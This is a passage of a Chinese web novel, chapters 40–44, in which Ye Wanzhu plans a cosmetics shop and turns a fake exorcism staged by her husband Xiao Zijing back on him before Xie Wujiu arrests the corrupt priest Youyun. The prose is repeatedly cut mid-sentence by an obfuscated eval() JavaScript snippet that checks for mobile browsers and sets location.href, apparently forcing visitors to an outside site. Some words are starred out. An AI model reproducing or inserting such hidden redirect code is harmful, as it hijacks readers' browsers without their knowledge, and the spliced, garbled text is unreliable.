那日从柳汝兰手中拿回铺子后,虎子便跑了一趟京郊去接人,可曼娘本就被柳汝兰折磨过,村子里又缺医少药,她身体虚弱,无法起身,只能又将养了一段时间。 饶是如此,叶晚竹眼神一晃,也还是几乎有些不敢认眼前之人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15381809|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姐!”曼娘见到她便红了眼眶,“曼娘幸不辱命!” 拼尽一切保下铺子,终于等到叶晚竹翻身的这一天了! 叶晚竹快步上前握住她的手。 “你受苦了,”她压低声音,“放心,这份大仇,我一定会帮你报的!” 只是让柳汝兰吃些皮肉之苦,现在看来,实在是太轻了! “只要小姐能回来,这点苦也不算什么了!” 曼娘摇摇头,又正色道,“小姐,您来的正好,我有些话想和您说呢。” 闻言,叶晚竹便与她一道往后院而去。 刚一进屋坐下,曼娘便皱起了眉头。 “小姐,我听虎子说,您打算把这间铺面卖掉了?” 和柳汝兰明里暗里地过着招,曼娘自然知道这位王府大夫人是个什么目光短浅,又敲骨吸髓的性子。 柳汝兰只要银子,把宝琅斋弄垮,简直是必然的结果。 她只是没想到会这么快。 “我刚刚瞧了瞧账本,虽然亏损得厉害,但还没到山穷水尽的地步啊。”曼娘微微蹙眉,有些不解。 叶晚竹从看到曼娘的表情开始便猜到她要说此事。 “我确实打算把铺子卖掉,”她一点头,“不过不是因为亏损。” “柳汝兰接手宝琅斋已经很有一段日子,铺子在她手中经营得乱七八糟,原本在京中的好口碑已经不复存在,便是我们重新接手回来,这段时间的生意也还是没有半点起色。” 柳汝兰急功近利,在她手中,铺子里的首饰定价都翻了两三翻不止,客人问价后接受不了不买,金婶子便动辄冷嘲热讽,时而更是破口大骂。 京中口口相传,时间一长,宝琅斋已经成了众人避之不及的去处。 有了这样的印象在身,宝琅斋还怎么继续做生意? 不如趁早盘间别的铺子,彻底从头开始。 况且,叶晚竹还有另外的打算。 “曼娘,”她敲了敲桌子,“首饰生意你已经是熟门熟路了吧?对别的生意有没有兴趣?” 第四十章 恶鬼王妃叶晚竹 曼娘闻言一怔,眼中便闪过了好奇的光芒。 “小姐想做什么生意?” 曼娘这好奇不仅是对生意,更是对说出这话的叶晚竹本人。 她与叶筠交好多年,也算看着叶晚竹长大,自从和萧子景成婚,她便像被吸干了灵魂一般,日渐虚弱和衰败下去。 没想到阔别几年,叶晚竹似乎变得与从前判若两人! 想着虎子告诉自己的那些事情,曼娘脸上又掠过了一丝欣慰。 若是叶筠在天之灵看到她的女儿重新活了过来,想必也会感到高兴吧。 曼娘面上神情一晃而过,叶晚竹不曾看见,她正盘算着自己的计划。 “我想再开一家胭脂水粉的铺子。”她道。 叶晚竹手中的几间铺子,分别售卖的是首饰,香料,绸缎布匹,还有一家绣庄。 大多是与女子所用之物有关,这么一算,还真没有售卖胭脂水粉的铺子。 曼娘却仍是有些不解。 “小姐想做胭脂生意,为何不直接加在夏铃那边?” 京中也有几家胭脂铺子,都是和香料一起搭配售卖的。 叶晚竹但笑不语,只道,“和旁人做一样的,有什么意思?” 曼娘这会儿还不知道,但叶晚竹却有所了解,再过几个月,大梁与南疆的战事便会落下帷幕。 南疆只是小国,被大梁的军队打得落花流水,不得不奉上奇珍异宝以求休战,后来更是签下合约,成了大梁的属国。 从南疆送来的珍宝之中有一种草药,用来敷面,可使皮肤细白光滑。 由南疆王送给昭德帝的妃子带头,京中很快便掀起了热潮,高门大户之中的夫人小姐都在采买使用。 那草药只在南疆生长,一来一去采购要花不少时间,一度在京中有价无市。 香粉铺子的老板们纷纷派人前往南疆,靠着这草药,几家铺子都赚得盆满钵满。 前世那个时候,叶晚竹的身子已经亏空得不像话,铺子也没了消息,大约早就被柳汝兰折腾得无力回天,更别说去分一杯羹了。 重活一世,叶晚竹是很想把握住这个机会的。 她或许还可以早些动作,待南疆战事一停,便立刻派人前去收购这草药…… “曼娘,你意下如何?”想到这儿,叶晚竹越发不掩饰自己的势在必得。 “小姐有把握了?” 看着叶晚竹的模样,曼娘便也将桌子一拍。 “好啊,沉寂了这么久,我也早就想放开手脚干一场了!” 从前被柳汝兰压制,她不得不瞻前顾后,没多少心思能用在打理铺子上。 如今,有小姐撑腰,一切就不一样了! 一拍即合,二人便立刻商议起这两间铺子的安排来。 要计划的事情实在不少,叶晚竹一晃便在宝琅斋中待了一天时间。 待日暮时分,她才与曼娘虎子等人告别,准备回王府去。 正是该用晚饭的时候,街上行人不少,虎子送着叶晚竹正要往马车边走,一个行色匆匆的路人忽然猛地撞了上来! “干什么呢!” 此人低着头,差点儿撞到叶晚竹身上,虎子连忙上前挡住,又喊了一声,“走路也不看着点儿!” “我看你娘,喊什么喊!吓老子一跳!” 没想到这人横得厉害,不仅不道歉,反而抬手就狠狠推了虎子一把! “滚到一边儿去,耽误了老子的正事,老子废了你!” 虎子猝不及防被推得一个踉跄。 “你这人怎么回事?”他及时扶住墙,“讲不讲理?” “理?老子就是理!” 这男人嚣张地哼了一声,抬脚又踹向虎子小腹,“赶紧滚——” 叶晚竹横出一脚扫向男人地上另外一条腿,绊了他一个大马趴。 “诶呦!” 男人咚地一声摔倒在地,立刻破口大骂起来。 “哪个**的?老子饶不了你!” “你不饶一个给我瞧瞧?” 叶晚竹冷冷出声,那男人顿时朝她看了过来,目光上下打量,颇为不屑。 “一个娘儿们,也敢和老子叫嚣?” “放肆!”书画板起小脸,“景平王妃面前也敢造次,谁给你的胆子!” 这男人简直不知死活! 她话音刚一落下,男人的脸瞬间就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385298|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变了。 方才的嚣张气焰瞬间就无影无踪,他脸色惨白,头上冷汗直冒,踉踉跄跄地从地上爬起来,头也不回地向后跑去! 于此同时,方才还围在一旁看热闹的百姓们也如鸟兽散,顷刻间跑了个无影无踪! 稍显拥挤的街道立刻变得空旷冷清,只剩叶晚竹几人面面相觑。 她这景平王妃的名号,已经吓人到了如此地步? 叶晚竹皱了皱眉。 “书画,取帷帽来,咱们到街上去瞧瞧。”她道。 片刻之后,叶晚竹和书画都带着帷帽,融入了一条街外的热闹当中。 “听说了吗?刚才有人在那边的街上撞到景平王妃了——” “嘘!别说这个名字,不要命啦!” “她走了没,不会拐到这边来吧?” 叶晚竹挤到几个窃窃私语的妇人身后,“她走了,坐着马车回王府了,怎么,这王妃这么让人害怕?” “哟,你是外地来的吧?”其中一个妇人打量了叶晚竹一眼,见她点头,又叹了口气。 “难怪你不知道——那位啊,被鬼上身了,会**的!” “吃,**?”书画在帷帽下瞠目结舌,“这怎么可能?” 她家王妃不是妖怪! 还有这鬼上身又是怎么回事! “千真万确啊!”另一个妇人也加入进来,“听说景平王在战场上杀敌无数,回京后染了一身煞气,王妃是个没福气的,遭了冲撞,被恶鬼附了身……” 接下来的话,便是将叶晚竹这段时间的所作所为都描绘成了恶鬼含恨,在人间大开杀戒。 流言总是越传越离谱,如今在这些百姓口中,叶晚竹已经是青面獠牙,无恶不作,堪与阎王竞争上岗。 “……” 众人凑在一起,越说越兴致勃勃,俨然忘了刚才的害怕。 叶晚竹拉着义愤填膺的书画远离人群,回到自己的马车上。 “胡说八道!信口雌黄!” 书画气得一张小脸都拧成了包子,“他们怎么能这样污蔑王妃!” 叶晚竹却冷笑起来。 “看来,萧子景挨的打,还是太轻!” 第四十一章 **下山,准备驱鬼! “王妃,您是说……” 闻言,书画的一双眼睛顿时瞪得溜圆。 叶晚竹冷笑一声,“除了萧子景,还有谁对我如此深恶痛绝?” 不仅要说她被鬼上身,还要暗中抬一把自己打了胜仗的功绩,除了萧子景,她再想不到第二个人。 “王爷怎么能这样!”书画也明白过来,气得咬牙切齿,“太过分了!” “好了。” 叶晚竹摸了摸她的脑袋,敛去眼中的冷意,“走吧,先回去再说,莫要让王府里的人看出端倪。” 她倒是要好好打探一番,萧子景这葫芦里又打算卖什么药? 他想玩,那她就陪他好好地玩,就是不知道萧子景能不能玩得起。 回到王府,叶晚竹便让隐风前去打探消息。 隐风本就是东厂出身,不过半日,便将京中关于叶晚竹的消息一五一十地呈到了叶晚竹的面前。 除了她听到的那些,京中还有流传,说叶晚竹身上附着的恶鬼会吸食大梁气运,若不早些处理,终将国之不国。 比如,景平王府眼下的动荡,就是一个不祥的预兆。 “胡说八道!真是胡说八道!”书画刚平复下去的心情又变得激荡起来。 王爷自己私德有亏,和国家大事有什么关系! 竟然扯这种大义凛然的名号来给王妃泼脏水! 叶晚竹面无表情,只是继续看着隐风。 流言究竟说了些什么,不是她最在意的,叶晚竹更想知道的是萧子景的打算。 “那位阮姑娘这些天来频繁离京,前往郊外禹山上的白云观,和观中的幽云**往来甚密。”隐风躬着身子道。 “真是思虑周全啊。”叶晚竹唇边的笑意十分讽刺。 白云观香火鼎盛,与这位道法深厚的幽云**脱不开干系。 据说幽云**人如其名,可上达天听,下抵幽冥,管得三界不平之事。 但叶晚竹还知道,幽云**是她师傅天清子的小师弟。 天清子大师一门向来远离俗世,弟子常年在山中清修,非有大事不会现于人前,更别说操办道观,供奉香火了。 幽云**便是唯一的例外。 天清子大师当年是受叶老太君所托,才到京中来教授叶晚竹武艺,她虽然不曾具体明说,但叶晚竹也能感到师傅对幽云**此举的不赞同。 而幽云**得知天清子出山入京,还曾亲自前来叶家送礼,又邀请天清子到白云观一见,自然全都被天清子拒绝。 萧子景那时候还被叶家养着,想来便看出了这师姐弟并不对付。 叶晚竹是天清子大师的徒弟,用幽云**来对付她,萧子景还真是用心险恶。 “王妃。” 见叶晚竹半晌不语,隐风不由得又道,“那幽云**并非面上表现出来的一般道骨仙风,他暗中收受京中贪官污吏的大笔贿赂,替他们散布各种风声消息,如今的名气,有一大半便是因此而来。” 谢无咎调查朝中**的时候,便发现这位幽云**的身影遍布其中了。 隐风有些担忧地看着叶晚竹。 叶晚竹倒是又笑了起来。 “沽名钓誉之辈,他想做什么,放马过来好了。” “你这段时间将白云观的情况盯紧一些,若是有什么情况,随时告诉我便是。” “属下遵命!” —— 隐风一连便盯了白云观七日,这七日间,阮莹莹几乎日日前往,等到了最后一天,便连行动不便的萧子景都跟着一起坐上马车,往山中而去。 这个时候,京中关于叶晚竹被恶鬼上身的流言也已经铺天盖地地流传开来,几乎是无人不知,无人不晓。 “王爷,事情闹成这样,您说姐姐是知道还是不知道?” 前往白云观的马车上,阮莹莹打量着窗外,有些不安地问道。 叶晚竹这几天一直呆在潇湘院中闭门不出,不知道是在干什么,可京城的流言已经传成了这般模样,她怎么一点儿反应都没有? 萧子景的坐姿显得不太自然。 他屁股和大腿上被叶晚竹抽出来的鞭伤还没有完全愈合,马车颠簸,便跟着一阵阵地疼痛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385299|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“她就算知道,又能怎么样?” 倒吸着凉气,萧子景眼中同时出现了恼怒和快意。 “她敢做出这样的事情,这名号就活该受着!” “再者说,等幽云**前去,叶晚竹便会彻底变成疯子,到了那个时候,她说的话,还有谁会相信?” 想到接下来的安排,萧子景唇边的笑意又变得狰狞了一些。 “莹莹,你莫要再担心了,大哥的办法,向来都是出不了错的!” 见他如此,阮莹莹便也只能收起心底的不安。 等到了白云观外,一身玄色衣袍的幽云**早已经等在那里。 他身量高瘦,一把胡须无风而动,神情肃穆,一眼看去,当真如同天降仙人一般。 “景平王,阮姑娘,”他朝着马车看来,“贫道已经在此等候多时了。” 萧子景和阮莹莹的表情却都有一瞬间的不自在。 为了请到这位帮忙,春风居的好东西一口气又被卖出去了三件! 那可是景平王府大半年的家当! 就凭这个,这回也一定要把叶晚竹的气焰摁死! 忍住心痛,萧子景挤出一个笑容,上前与这位幽云**攀谈起来。 幽云**始终端着那世外高人的派头,不冷不**应着,直到萧子景将一个沉甸甸的荷包塞进他袖中,这位才终于露出一个笑容。 “降妖除魔乃是贫道分内之事,景平王爷,请带路吧!” 阮莹莹在一旁看着,也终于松了口气。 这幽云**的胃口活像个无底洞,终于捱到最后一步,等解决了叶晚竹,便再也不用往外送银子了! 幽云**随行有八个弟子,一车法器,一行人浩浩荡荡地回到京中,城里百姓一看便知道这是要做什么。 “**要给景平王妃驱鬼了!” “太好了,如此一来,王府就能过上太平日子了!” 众人奔走相告,城中一时热闹无比。 这个时候,萧子景也在前院摆开了阵仗。 “冬生,你带人去,把王妃请过来!” 第四十二章 到底是谁驱谁啊? 早就提前命人把潇湘院和王府团团包围起来,叶晚竹此时已经是瓮中之鳖,想到这儿,萧子景嘴角的笑容便越发狰狞。 冬生应声而去,刚跑了没几步,便跌跌撞撞地转头冲了回来。 “王,王爷!”一抹惊恐出现在他脸上。 萧子景循声看去,只见叶晚竹正大步从后院方向走出。 她一身利落衣袍,头发高高束起,手握金杖,一看便知道已经做好了准备。 “王爷这么大张旗鼓地,这是要做什么?” 说着话,叶晚竹在一进的垂花门前停住了脚步。 她抬头望去,前院空地上此时正摆着几座法器,看上去怪模怪样的,让人心里不舒服。 八个身材健壮的大汉围着法器站了一圈,皆是虎视眈眈地看来,那幽云**正束手站在正门廊下,与叶晚竹视线相接,又很快错开。 便是他没见过叶晚竹,她这天清子大师关门弟子的名号,幽云**显然也是知道的。 “景平王妃。” 幽云**一脸肃容,“你可能听得见贫道的话?你被恶鬼侵占身躯,已犯下十恶难赦之重罪,贫道将为你驱除邪祟,还望王妃全力配合。” 书画从叶晚竹身后探出头,恶狠狠地看过去,“怪力乱神!我家王妃好好的,你们才是妖魔鬼怪!” “你给本王退下!” 萧子景险些气歪了鼻子,“冬生,动手!” 冬生硬着头皮往上跑,还没等靠近便被叶晚竹一杖子挑飞了出去! 萧子景见状更是七窍生烟,把脸一拉便朝着叶晚竹大步上前,“你这不知好歹的——诶呀!” 刚走到垂花门前,萧子景忽然感到脚下一绊,还没来得及反应,便被什么冰凉刺骨的东西淋了一身! 腥臭黏滑齐齐袭上,他干呕一声,伸手摸到了满手黑红! “隔夜的**血,王爷感觉滋味如何?” 悬在树上的铜盆咚地一声摔落在地,叶晚竹笑意盈盈的声音也跟着响了起来。 明明风传中被鬼上身的是叶晚竹,可淋了**血的人,却是自己! 萧子景一愣之下,随即便感到被侮辱的怒火猛地一窜三丈高! 他抬手去扯叶晚竹的袖子,果不其然也被金杖打退。 “王爷好像还没恢复正常,书画!” 叶晚竹后退半步,书画端着又一盆**血,猛地朝着萧子景泼了上去! 敢说她家王妃是鬼上身? 王爷还是自己尝尝被驱邪的滋味吧! “还有你,我的好妹妹。” 萧子景被泼得连连后退,睁不开眼,阮莹莹还没有从震惊中回过神来,便被叶晚竹一把扯住了衣领。 “你要干什么?”她大惊失色,“放开我——” 顺手抄起方才掉落的铜盆,叶晚竹便朝着阮莹莹的脑袋敲了过去。 “铛”地一声响清脆无比,在院中激起阵阵回音。 “王府里没有撞钟,妹妹凑合一下吧,”叶晚竹笑得嚣张,“怎么样,有没有感觉心灵受到了涤荡?” 阮莹莹眼神发蒙,张着嘴什么话都说不出来。 不能厚此薄彼,叶晚竹反手又敲上了萧子景的脑袋。 “王爷也来感受一下!” “住,住手!” 幽云**这时候忍不住大喝一声,快步从石阶走下,脸上已经没了方才的镇定自若。 饶是他已经知道这位景平王妃的事迹,眼前的景象还是让幽云**有些接受不了。 要驱鬼的人,自己先被驱了! “王妃身上的恶鬼这是发动了,要报复王爷,徒儿们,快上前助王爷一臂之力!” 定了定神,幽云**一边说话,一边朝叶晚竹猛地一挥手,“去!” 一阵无形的气劲朝着叶晚竹奔袭而来。 与此同时,那八个大汉也齐齐冲向垂花门前。 “又来了几条疯狗?” 叶晚竹侧身躲过幽云**的攻击,与此同时,隐风和隐川也从暗处猛地跃了出来。 二人身形鬼魅,动作干脆利落,几招之内,大汉们便纷纷哀嚎着倒了下去! 这景平王妃身边竟然有如此高手! 失算了! 幽云**瞳孔紧缩,反身便想往王府外跑去—— “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393937|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' **不记得本王妃了?” 叶晚竹这时候也出现在幽云**面前,撩起金杖在他脚下一扫,幽云**便结结实实地摔了下去。 他正面朝下,摔得眼冒金星,还没等反应过来,发髻被提住,猛烈的疼痛顺着头皮炸开。 “当年**给家师送礼的时候,对待本王妃可不是现在这个态度啊。”叶晚竹笑吟吟地道。 “你,你竟敢对贫道如此放肆!” 白云观香火鼎盛,幽云**高高在上了不知道多长时间,今日简直是被叶晚竹一脚踩进了泥里! 叶晚竹又狠狠一用力。 “我就放肆,你能如何?” 耽搁了这么一会儿功夫,隐风空出手来,绷紧一张脸接手了幽云**的脑袋。 “王妃,此人您要如何处置?” 叶晚竹饶有兴趣地看着那些法器。 “这些东西都是怎么用的?本王妃没见过,想开开眼。” 话虽如此,她看向幽云**的眼神却带着一丝兴奋。 恶鬼附体向来被认作是极大的不祥之事,若是想摆脱这种状态,须得付出更大的代价。 比如说,疼痛和折磨。 眼下出现在王府中的这几样,说是法器,在叶晚竹看来倒更像是刑具。 “先看这个吧。” 她随手一指,幽云**顺着看去,身子猛地一抖! 布满钢钉的铁床,躺下去准要丢掉半条命! “你不能这样!” 隐风架起幽云**,他挣扎不得,只能大声惨叫。 “来,来人啊!救命,救命!” 景平王府的侍卫护院们都去了什么地方,怎么一个都看不见? “景平王!快让她住手啊!”目光狂乱地游移着,幽云**俨然已经是病急乱投医,朝着萧子景求救起来。 萧子景瘫坐在地,眼神迷离,还没从方才的击打中回过神来。 眼看挣扎无果,就要被隐风按上钉床,幽云**的叫声越发凄厉。 “这是谁在喊救命啊?” 就在这时,一道阴柔的声音隔着王府紧闭的大门响了起来。 第四十三章 九千岁又来了 又是谢无咎? 怎么这么巧? 叶晚竹动作一顿,下意识地朝着隐风看了过去。 隐风向来镇定的面上这会儿也显出一丝无措,看着她摇了摇头。 “王妃……不是属下!” 他真的没有把王妃的情况交代给九千岁! “这府中在做什么,**的,为何将大门反锁啊,还不快将门打开?” 谢无咎的声音这时候又隔着府门传来,话虽如此,他却不疾不徐,听着仿佛是要逛个园子一般。 “开门吧。”叶晚竹很快地点了点头。 九千岁向来神通广大,他想知道景平王府的情况,简直是轻而易举,方才是她糊涂了。 王府里的下人早已经被叶晚竹提前控制起来,这会儿满院子的人倒的倒,晕的晕,看来看去,只剩下一个瑟瑟发抖的冬生。 触到叶晚竹的目光,他哆嗦着两条腿,风中残烛般地晃悠过去,将王府的大门拉开一条小缝。 谢无咎果然正笑吟吟地站在外面。 他手中捻动着珠串,发出一点窸窸窣窣的响声,在一片寂静的院中却也格外明显。 “哟,这是……” 推门走进院中,看到眼前的事一片狼藉,他面上的笑容淡去几分,化作一点讶异。 “景平王,府上有客啊,好生热闹。” 谢无咎视线扫过全场,最后在萧子景的面上停了下来。 他挑了挑眉,问话的语气透着十分的促狭。 “王爷这造型真是别致,看来……京中的那些传言倒也不算无的放矢,只是好像说错了对象啊。” 谢无咎的眼神又往萧子景一身一头的**血上扫了扫。 萧子景这会儿终于从铜盆的回声巨响里清醒过来,他晃了晃脑袋,想说什么,却又发不出声音。 这是九千岁…… 他是叶晚竹的帮凶! 这么想着,萧子景眼中的情绪便越发畏惧起来。 “王爷这么看着本督做什么?”谢无咎又挑了挑眉,“难道是驱邪效果不好,您还没回魂儿?” 萧子景面上顿时浮起了一层红晕。 “九,九千岁大人!” 就在这时,阮莹莹忽然抽泣着朝谢无咎的方向跪了下去。 “王爷一片好意,特意请了幽云**前来给姐姐驱鬼,谁知姐姐身上的恶鬼功力高强,竟然连伤数人,幸亏九千岁您忽然叫门,想来是都督大人一身气势镇住了那恶鬼,才不至于让姐姐继续犯下更多罪孽!” 阮莹莹一个脑袋磕在地上,心里也七上八下地打着鼓。 她可是听说,叶晚竹和这位九千岁在大街上第一回打照面的时候,九千岁便是听了叶晚竹的恭维才放过了她。 既然如此,她也给这位戴顶高帽,不知道有没有作用? 况且也没有更好的办法了。 “九千岁,王爷也不想如此,可姐姐身上这恶鬼,实在是闹得不像话……” 叶晚竹听到这儿不由得冷笑了一声。 还想把这个名声往她身上扯? 阮莹莹听见声音却立刻住了口,畏畏缩缩地朝着叶晚竹看了一眼。 刚想开口,叶晚竹却忽然眼神一转,投向了谢无咎。 专程跑到景平王府来一趟,他若不是来帮忙,恐怕有些说不过去了吧? 众目睽睽之下,谢无咎朝着叶晚竹眨了眨眼。 “这位就是阮姑娘吧?” 没等叶晚竹反应,他便飞快地转头朝阮莹莹看去。 阮莹莹跪伏在地上,没看见两人的机锋,闻言一迭声地应着。 听谢无咎好声好气,一丝希望也从她心中升起。 难道这九千岁就是个喜欢听人恭维他的—— “你方才这话的意思,是不是在说本督比妖魔恶鬼还吓人,嗯?” 不料,谢无咎的好言好语不过一霎,瞬间就变得声急色厉起来。 “阮姑娘,你好大的胆子,景平王最多不过私下诽谤本督,你倒是好,竟然当着本督的面儿讽刺于我?” 谢无咎的脸上再不见一丝笑意,双目沉沉地望着阮莹莹。 阮莹莹不用抬头,也能感到投在自己身上的重压,她浑身哆嗦着,心下一片茫然。 “妾身没有这个意思!” “还敢狡辩!” 隐月黑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393938|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸大步上前,一脚便将阮莹莹踢得向后翻倒,撞在一旁的花坛上。 “你这是在说,主子听错了?”他的语气阴森森的。 “哦,阮姑娘原来是怀疑本督的耳朵。” 谢无咎又笑了起来,这回却带着说不出的狠戾。 “怎么,要向姑娘如何证明一下?不如……把你的嘴唇割下来,让本督凑近听听?” 心下惊慌,阮莹莹捂着嘴巴躺在地上,咬紧牙关,瞪大了双眼。 为什么这招她用不行? “九千岁,您今日上门拜访,究竟所为何事?” 看着阮莹莹咬牙隐忍,泪湿眼睫的模样,萧子景再也忍不住了。 “本王的王妃不慎撞了邪,这些天来都做了什么混账事,京中有目共睹,若是再放任下去,情况只会越来越糟,唯有请幽云**快些驱鬼,才能还我侯府,还这京城一个太平!” “京中之事既然逃不过九千岁的眼睛,您更该知道此事重大,保不准便会影响江山社稷,为了天下,还请九千岁暂时放下与本王的成见,助本王一臂之力,替王妃驱鬼!” 萧子景已经奋力从地上站了起来,朝着谢无咎拱手,将自己提前准备好的说辞拿了出来。 便是闹到圣上面前,叶晚竹和天下,昭德帝也该做出正确的选择! 况且,给叶晚竹驱鬼,这可是好事! 越想,萧子景的后背便挺得越直,端的是大义凛然的模样。 就是那满头半干不湿的狗血让人实在不忍多看。 谢无咎扫了一眼,很快偏过头去。 “如此说来,本督不配合你折腾景平王妃,在王府私设刑堂,就是对天下不管不顾咯?” “在景平王眼里,天下就是被一个女子轻易摧毁的?那这女子好生厉害,王爷征战三年五年,不及她一点动作,看来这军功和封号,王爷也该让贤了,是不是?” 他摇了摇手中折扇,笑得意味深长。 萧子景见状又攥紧了拳头。 “不过,”谢无咎这时候忽然将折扇一合,“本督今日前来,的确是为了一件天下大事——” “幽云**,你可知罪?” 第四十四章 幽云**,你可知罪? 冷不丁听见这个名字,众人都是一愣。 幽云**更是瞪大双眼,一脸茫然。 这位九千岁是冲着他来的? 谢无咎在京中的名声再响亮,再凶狠,身为东厂都督,他管的也都是朝堂之事。 而幽云**是修行之人,本就与谢无咎没什么联系,他又住在山上,更是从来没有与之来往过。 “贫道何罪之有?” 幽云**直视着谢无咎的双眼,十分坦然。 便是几位皇子皇妃到白云观上香,他也从不跪拜的,更别说眼前的只是个阉人了。 “大胆!” 隐风一只手还卡着幽云**的脖子,听他如此不敬刚要发怒,便被谢无咎一个眼神制止。 谢无咎又看向幽云**,张口一个接一个地吐出人名。 “方博翰,闫宏宇,赵昊……” 幽云**的脸色从他说出第一个名字就开始变,等到谢无咎收声,他已是脸色青白,额头大汗淋漓。 “这些贪官都向本督供述了同一件事,那就是**你借白云观的名气,大肆从他们手中敛财,不仅与这些人沆瀣一气,手中还握着他们****的证据。” 谢无咎的语气慢悠悠的,说出来的话却好像一把刀,狠狠地往幽云**心口捅。 “一年前山中的祥瑞是您放的,方大人抓来后给自己挑了个最肥的差事;半年前您又往河底扔了座石雕,闫大人靠着这个痛击政敌,可怜郑大人一身清名被毁,只能撞柱自尽。” “畜生当到头了,学会两脚站直,您就觉得自己是人间一霸了?”他笑眯眯地插上最后一刀,“要学的还多着呢。” 幽云**已经呼哧呼哧地喘起粗气来。 一半是愤怒,另一半则就是心虚了。 “贫道从来没有听说过你口中这些,更不会做,”他冷冷地瞪着谢无咎,“你这是诬陷贫道,你想做什么?” 谢无咎上下扫他一眼,好笑道:“看来你这畜生界不讲证据。” “你!” “**不会以为本督两手空空就来抓你了吧?” 不等幽云**再说什么,谢无咎拍拍手。 方才府门只开了一条小缝,还看不分明,这会儿两扇大门被从外打开,露出站在府外的,黑压压的东厂人马。 人人腰间带刀,一列囚车停在他们身后,里面关着的全都是身穿白云观衣裳的弟子。 “这,这……!” 幽云**目眦欲裂地朝着谢无咎看了过去。 谢无咎摊了摊手。 “本督特意起了个大早上山,没想到竟然还没赶上**的动作,只好先把白云观抄了;没想到又凑了个巧,碰上**问本督讨要证据。” “**院中那棵大树下的暗道里藏着的金银财宝,**账本,不知道算不算证据啊?” 幽云**双膝一软,无声无息地坐倒在地。 “带走。” 谢无咎见状不再和他多话,一挥手,隐月便押着幽云**往府外走去。 “九千岁!” 看准时机,叶晚竹终于出了声。 谢无咎稳稳当当地站在原地,闻言转过身来,眼中笑意妖孽,“王妃还有何事?” “敢问九千岁是不是要将幽云**送到圣上面前?”叶晚竹大步上前,“妾身想见圣上。” “……胡闹!” 萧子景这时候才从方才的阵仗里回过神来,压低声音怒斥叶晚竹,“你发什么疯?” 她想见圣上? 这叫什么话! 圣上是想见就能见的吗? 况且……幽云**看起来像是要倒霉了,这种时候,叶晚竹巴巴地凑到圣上面前去干嘛? 萧子景用脚后跟想都知道没好事! 谢无咎却笑容依旧。 “多谢王妃提醒,本督差点儿忘了,今日这王府之中,也有一场好戏。” 一边说着话,他一边看向萧子景,面上微微地泛起了冷意。 “能请动幽云**下山替你办事,景平王,花了多少银子啊?下个月的饭食准备去谁家府上凑合一下?” 萧子景脸一红,可还不等他说什么,谢无咎便又正色起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399757|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “和幽云**混在一起,本督现在十分怀疑王爷也与先前几桩**案有关!” “我没有!”萧子景这回的否认来的十分理直气壮。 这个他真没有! 